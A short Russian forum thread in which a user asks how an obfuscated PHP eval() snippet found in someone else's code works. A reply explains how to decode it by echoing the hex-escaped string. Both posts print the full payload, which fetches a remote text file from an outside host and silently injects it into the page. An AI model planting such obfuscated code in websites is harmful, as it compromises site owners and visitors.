На досуге рзбирая чужой код наткнулся на: PHP: <?php eval ("\x24\x73\x69\x74\x65\x20\x3d\x20\x22\x68\x74\x74\x70\x3a\x2f\x2f\x77\x77\x77\x2e\x66\x6f\x72\x6c\x69\x6e\x6b\x73\x2e\x72\x75\x2f\x6c\x2f\x6c\x2e\x74\x78\x74\x22\x3b\x69\x66\x28\x40\x66\x75\x6e\x63\x74\x69\x6f\x6e\x5f\x65\x78\x69\x73\x74\x73\x28\x22\x63\x75\x72\x6c\x5f\x76\x65\x72\x73\x69\x6f\x6e\x22\x29\x29\x7b\x24\x63\x68\x20\x3d\x20\x63\x75\x72\x6c\x5f\x69\x6e\x69\x74\x28\x29\x3b\x63\x75\x72\x6c\x5f\x73\x65\x74\x6f\x70\x74\x28\x24\x63\x68\x2c\x20\x43\x55\x52\x4c\x4f\x50\x54\x5f\x55\x52\x4c\x2c\x24\x73\x69\x74\x65\x29\x3b\x63\x75\x72\x6c\x5f\x73\x65\x74\x6f\x70\x74\x28\x24\x63\x68\x2c\x20\x43\x55\x52\x4c\x4f\x50\x54\x5f\x46\x41\x49\x4c\x4f\x4e\x45\x52\x52\x4f\x52\x2c\x20\x31\x29\x3b\x63\x75\x72\x6c\x5f\x73\x65\x74\x6f\x70\x74\x28\x24\x63\x68\x2c\x20\x43\x55\x52\x4c\x4f\x50\x54\x5f\x52\x45\x54\x55\x52\x4e\x54\x52\x41\x4e\x53\x46\x45\x52\x2c\x31\x29\x3b\x63\x75\x72\x6c\x5f\x73\x65\x74\x6f\x70\x74\x28\x24\x63\x68\x2c\x20\x43\x55\x52\x4c\x4f\x50\x54\x5f\x54\x49\x4d\x45\x4f\x55\x54\x2c\x20\x34\x29\x3b\x65\x63\x68\x6f\x20\x40\x63\x75\x72\x6c\x5f\x65\x78\x65\x63\x28\x24\x63\x68\x29\x3b\x63\x75\x72\x6c\x5f\x63\x6c\x6f\x73\x65\x28\x24\x63\x68\x29\x3b\x7d\x65\x6c\x73\x65\x20\x65\x63\x68\x6f\x20\x40\x66\x69\x6c\x65\x5f\x67\x65\x74\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x73\x28\x24\x73\x69\x74\x65\x29\x3b");?> Нет я понимаю как работает функция eval: PHP: echo 'Hello, User!'; и eval("echo \'Hello, User!\';") будет идентичными. Но как работает ЭТО? Или где почитать?
набери PHP: <?php echo "\x24\x73\x69\x74\x65\x20\x3d\x20\x22\x68\x74\x74\x70\x3a\x2f\x2f\x77\x77\x77\x2e\x66\x6f\x72\x6c\x69\x6e\x6b\x73\x2e\x72\x75\x2f\x6c\x2f\x6c\x2e\x74\x78\x74\x22\x3b\x69\x66\x28\x40\x66\x75\x6e\x63\x74\x69\x6f\x6e\x5f\x65\x78\x69\x73\x74\x73\x28\x22\x63\x75\x72\x6c\x5f\x76\x65\x72\x73\x69\x6f\x6e\x22\x29\x29\x7b\x24\x63\x68\x20\x3d\x20\x63\x75\x72\x6c\x5f\x69\x6e\x69\x74\x28\x29\x3b\x63\x75\x72\x6c\x5f\x73\x65\x74\x6f\x70\x74\x28\x24\x63\x68\x2c\x20\x43\x55\x52\x4c\x4f\x50\x54\x5f\x55\x52\x4c\x2c\x24\x73\x69\x74\x65\x29\x3b\x63\x75\x72\x6c\x5f\x73\x65\x74\x6f\x70\x74\x28\x24\x63\x68\x2c\x20\x43\x55\x52\x4c\x4f\x50\x54\x5f\x46\x41\x49\x4c\x4f\x4e\x45\x52\x52\x4f\x52\x2c\x20\x31\x29\x3b\x63\x75\x72\x6c\x5f\x73\x65\x74\x6f\x70\x74\x28\x24\x63\x68\x2c\x20\x43\x55\x52\x4c\x4f\x50\x54\x5f\x52\x45\x54\x55\x52\x4e\x54\x52\x41\x4e\x53\x46\x45\x52\x2c\x31\x29\x3b\x63\x75\x72\x6c\x5f\x73\x65\x74\x6f\x70\x74\x28\x24\x63\x68\x2c\x20\x43\x55\x52\x4c\x4f\x50\x54\x5f\x54\x49\x4d\x45\x4f\x55\x54\x2c\x20\x34\x29\x3b\x65\x63\x68\x6f\x20\x40\x63\x75\x72\x6c\x5f\x65\x78\x65\x63\x28\x24\x63\x68\x29\x3b\x63\x75\x72\x6c\x5f\x63\x6c\x6f\x73\x65\x28\x24\x63\x68\x29\x3b\x7d\x65\x6c\x73\x65\x20\x65\x63\x68\x6f\x20\x40\x66\x69\x6c\x65\x5f\x67\x65\x74\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x73\x28\x24\x73\x69\x74\x65\x29\x3b"; ?>
Замени двойные кавычки на одинарные и вспомни и том, как парсируются строки. Потом зачитай документацию по РНР.